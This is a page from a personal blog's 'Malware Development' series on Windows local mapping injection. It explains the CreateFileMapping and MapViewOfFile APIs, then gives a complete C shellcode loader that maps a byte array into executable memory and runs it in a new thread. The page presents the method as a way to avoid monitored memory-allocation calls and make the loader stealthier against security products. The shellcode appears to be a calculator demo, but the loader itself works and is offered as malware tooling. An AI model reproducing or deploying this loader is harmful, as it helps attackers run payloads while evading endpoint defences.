W4LK3R
GitHubLinkedInEmail
  • Home
    • Who am I ?
  • Research
    • Double Take Zero Day (CVE-2023–40459)
  • Red Team Diaries
    • #1 Domain Admin in 2 Hours
    • #2 Low Hanging Credentials
  • Malware Development
    • Basics
    • Dynamic Link Library
    • Code Execution
      • Create Local Thread
      • DLL Execution ( Disk )
      • Function Pointer (No API)
      • Handle2Self
      • Thread2Fiber
      • Callback Functions
      • Local Thread Hijacking / Context Injection
      • Local Mapping Injection
      • Local Module Stomping / DLL Hollowing
      • Local Function Stomping
Powered by GitBook
On this page
  • Memory Mapping
  • Memory Mapping APIs
  • CreateFileMapping
  • MapViewOfFile
  • Mapping a File in Memory
  • Code Execution with Memory Mapping
  • Code Samples

Was this helpful?

  1. Malware Development
  2. Code Execution

Local Mapping Injection

Code execution using memory mapping

Memory Mapping

Memory mapping is a process used by operating systems to map files or devices into the memory address space of a process. It enables programs to access file data as though it were part of the process's memory, eliminating the need for explicit read or write calls to interact with the file contents.

Memory mapping is extensively used for:

  • File I/O operations (e.g., reading a file into memory).

  • Inter-process communication (IPC).

  • Dynamic memory allocation.

  • Executing code directly from memory.

In this process, a file or a memory location (allocated space) is mapped into process memory by associating its data with a virtual memory address range. This allows the program to access the data using pointers, as though it were an array in memory.

Private memory allocation ( API calls like VirtualAlloc and VirtualProtect) is heavily monitored by security solutions. mapping injection will let us allocate memory in local or remote process without using these APIs, thus making the loader a bit more stealthy.


Memory Mapping APIs

There are 2 Windows APIs that handle memory mapping:

CreateFileMapping

Creates or opens a named or unnamed file mapping object for a specified file. basically, it allows a process to create a virtual memory space that maps to the contents of a file on disk or to another memory location. the function returns a handle to the file mapping object.

HANDLE CreateFileMappingW(
  HANDLE                hFile,                      // handle to file 
  LPSECURITY_ATTRIBUTES lpFileMappingAttributes,    // optional security attribute for inheritance
  DWORD                 flProtect,                  // page protection flags (defined later)
  DWORD                 dwMaximumSizeHigh,          // max size high order DWORD (NULL)
  DWORD                 dwMaximumSizeLow,           // max size low order DWORD
  LPCWSTR               lpName                      // optional name
);

The first parameter is hFile, as Microsoft explains it:

[in] hFile

A handle to the file from which to create a file mapping object

If hFile is INVALID_HANDLE_VALUE, the calling process must also specify a size for the file mapping object in the dwMaximumSizeHigh and dwMaximumSizeLow parameters. In this scenario, CreateFileMapping creates a file mapping object of a specified size that is backed by the system paging file instead of by a file in the file system.

Why care about passing an invalid handle instead of a handle to a file? because we will use this API later on to create a mapping object that points to a memory region (shellcode) instead of a file on disk.

Setting INVALID_HANDLE_VALUE flag allows the function to perform its task without using a file from disk, and instead the file mapping object is created in memory with a size specified by the dwMaximumSizeHigh or dwMaximumSizeLow parameters.

The second parameter is the optional inheritance flag which we will set to NULL for now.

The third parameter is a page protection flag that specifies the memory permissions on the file object. for normal file operations, this flag is usually set to PAGE_READWRITE since we just want to read data from the mapped memory or write data to it. but if we want to execute code from the mapped object, the PAGE_EXECUTE_READWRITE flag should be used.

This flag doesn't allocate a RWX section, it just specifies that an RWX page can be created later on. if we use PAGE_READWRITE instead of PAGE_EXECUTE_READWRITE , the content wont be executable later on.

The dwMaximumSizeLow parameter should be set to the size of file or memory region that we want to map to the object.


MapViewOfFile

Maps a view of a file mapping into the address space of a calling process. this is the actual function that takes a pointer to the memory mapping object and the access rights and returns a pointer to the start of mapping in memory.

LPVOID MapViewOfFile(
  HANDLE hFileMappingObject,            // handle to file mapping object (returned from CreateFileMapping)
  DWORD  dwDesiredAccess,               // memory permissions (R,W,X)
  DWORD  dwFileOffsetHigh,              // file offset high order DWORD (NULL)
  DWORD  dwFileOffsetLow,               // file offset low order DWORD (NULL)
  SIZE_T dwNumberOfBytesToMap           // size of data to map (from file or memory)
);

The first parameter is the input file mapping object handle taken from CreateFileMapping.

The second parameter is the access right for this memory region. again, if we are dealing with normal read/write file operations, we specify FILE_MAP_WRITE | FILE_MAP_READ to be able to read data from the mapping object and write data to it. but when executing code, we need write access to write the payload and execute permission to run it so we use FILE_MAP_WRITE | FILE_MAP_EXECUTE .

The last parameter is how much data (in bytes) we want to map in memory. this is set to the payload size from the file or memory region.


Mapping a File in Memory

Bellow code shows an example of using memory mapping APIs to create a file mapping of a text file in memory and writing data to that file using the memory mapping object.

file2mem.c
#include <windows.h>
#include <wchar.h>
#include <stdio.h>


#define FILENAME L"map2mem.txt"

int wmain() {
    HANDLE hFile = NULL;
    HANDLE hMapping = NULL;
    LPVOID pView = NULL;

    // Data to write to the file
    const wchar_t* data = L"Hello, Memory Mapping!";
    size_t dataLength = (wcslen(data)) * sizeof(wchar_t); // Including null terminator

    // Step 1: Create or open a file
    hFile = CreateFileW(
        FILENAME,                    // File name (wide-character)
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        CREATE_ALWAYS,               // Always create a new file
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create or open the file. Error: %lu\n", GetLastError());
        return 1;
    }
    wprintf(L"[+] File '%s' created successfully.\n", FILENAME);

    // Step 2: Set the file size to match the data size
    if (SetFilePointer(hFile, (LONG)dataLength, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) {
        printf("[-] Failed to set file pointer. Error: %lu\n", GetLastError());
        CloseHandle(hFile);
        return 1;
    }
    if (!SetEndOfFile(hFile)) {
        printf("[-] Failed to set file size. Error: %lu\n", GetLastError());
        CloseHandle(hFile);
        return 1;
    }
    printf("[+] File size set to %llu bytes.\n", dataLength);

    // Step 3: Create a file mapping object
    hMapping = CreateFileMappingW(
        hFile,                       // File handle
        NULL,                        // Security attributes
        PAGE_READWRITE,              // Read/write access
        0,                           // Maximum size (high-order DWORD)
        (DWORD)dataLength,           // Maximum size (low-order DWORD)
        NULL);                       // Optional name

    if (hMapping == NULL) {
        printf("[-] Failed to create file mapping. Error: %lu\n", GetLastError());
        CloseHandle(hFile);
        return 1;
    }
    printf("[+] File mapping object created.\n");

    // Step 4: Map a view of the file into the process's address space
    pView = MapViewOfFile(
        hMapping,                    // Mapping object handle
        FILE_MAP_WRITE,              // Access type
        0,                           // Offset (high-order DWORD)
        0,                           // Offset (low-order DWORD)
        dataLength);                 // Number of bytes to map

    if (pView == NULL) {
        printf("[-] Failed to map view of file. Error: %lu\n", GetLastError());
        CloseHandle(hMapping);
        CloseHandle(hFile);
        return 1;
    }
    printf("[+] File mapped into memory.\n");

    // Step 5: Write data to the mapped memory
    memcpy(pView, data, dataLength); // Write wide string
    wprintf(L"[*] Data written to memory: %s\n", data);

    // Step 6: Unmap and truncate the file
    if (!UnmapViewOfFile(pView)) {
        printf("[-] Failed to unmap view of file. Error: %lu\n", GetLastError());
    }
    else {
        printf("[+] View of file unmapped successfully.\n");
    }

    if (!CloseHandle(hMapping)) {
        printf("[-] Failed to close file mapping handle. Error: %lu\n", GetLastError());
    }
    else {
        printf("[+] File mapping handle closed successfully.\n");
    }

    // Ensure file is truncated to the actual data size
    SetFilePointer(hFile, (LONG)dataLength, NULL, FILE_BEGIN);

    if (!CloseHandle(hFile)) {
        printf(L"[-] Failed to close file handle. Error: %lu\n", GetLastError());
    }
    else {
        printf("[+] File handle closed successfully.\n");
    }

    return 0;
}

Execution flow:

  1. The program creates a new file (map2mem.txt) or opens an existing one with CreateFile.

  2. The file pointer is moved to the desired size (FILESIZE), and the file is truncated or extended using SetEndOfFile.

  3. A memory mapping object is created using CreateFileMapping, specifying the file handle and access rights.

  4. The MapViewOfFile function maps the file contents into the process’s virtual memory space. The return value is a pointer to the mapped memory.

  5. Data is written to and read from the memory directly via the pointer.

  6. UnmapViewOfFile, CloseHandle (for the mapping object), and CloseHandle (for the file) are called to release resources.

The output looks like this:

As you can see, we successfully wrote data to a file indirectly by using memory mapping and a mapping file object.


Code Execution with Memory Mapping

In the previous example, we used memory mapping to map a file into local process memory and modify its content. the same technique can be used for executing shellcode but instead of loading the payload from a file, we use a mapping object that points to a memory region where our shellcode is located. this time we use RWX memory permissions for creating the object and WX access rights for copying and executing shellcode using MapViewOfFile API call.

Execution flow:

  1. Create a file mapping object in memory

  2. Map the memory (shellcode)

  3. Copy shellcode to mapped memory

  4. create a new thread (or use another technique) to run the shellcode

MapViewOfFile returns a pointer that points to the start address of mapped memory, so we can use multiple execution techniques like passing this address to a new local thread or using callback functions.

Code:

LocalMappingExecution.c
#include <Windows.h>
#include <stdio.h>

int main() {
    unsigned char shellcode[] = {
        0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
        0x29, 0xD4, 0x65, 0x48, 0x8B,0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD,0x48, 0x8B, 0x30, 0x48, 0x8B,0x7E, 0x30,
        0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,0x1F, 0x20, 0x48,
        0x01, 0xFE,0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52,
        0x02,0xAD, 0x81, 0x3C, 0x07, 0x57,0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B,
        0x74, 0x1F, 0x1C, 0x48, 0x01,0xFE, 0x8B, 0x34, 0xAE, 0x48,0x01, 0xF7,
        0x99, 0xFF, 0xD7 };

    // Create a file mapping object in memory
    HANDLE hMap = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);
    if (hMap == NULL) return -1;
    printf("[+] File mapping object created successfully.\n");

    // Map the memory
    void* exec_mem = MapViewOfFile(hMap, FILE_MAP_WRITE | FILE_MAP_READ | FILE_MAP_EXECUTE, 0, 0, sizeof(shellcode));
    if (exec_mem == NULL) {
        CloseHandle(hMap);
        return -1;
    }
    printf("[+] shellcode successfully mapped to memory.\n");

    // Copy shellcode to memory
    memcpy(exec_mem, shellcode, sizeof(shellcode));
    printf("[+] shellcode coppied to memory.\n");

    printf("[+] creating new thread to execute shellcode...\n");
    // Execute the shellcode via a new thread
    HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
    printf("[+] shellcode executed successfully\n");
    WaitForSingleObject(th, -1);

    // Unmap and clean up
    UnmapViewOfFile(exec_mem);
    CloseHandle(hMap);

    return 0;
}

Code Samples

Code snippets are available on GitHub:

PreviousLocal Thread Hijacking / Context InjectionNextLocal Module Stomping / DLL Hollowing

Last updated 6 months ago

Was this helpful?

CreateFileMappingW function (memoryapi.h) - Win32 appsMicrosoftLearn
Logo
MapViewOfFile function (memoryapi.h) - Win32 appsMicrosoftLearn
Logo
GitHub - 7h3w4lk3r/malware-development-samples: Samples for malware development series from my blogGitHub
Logo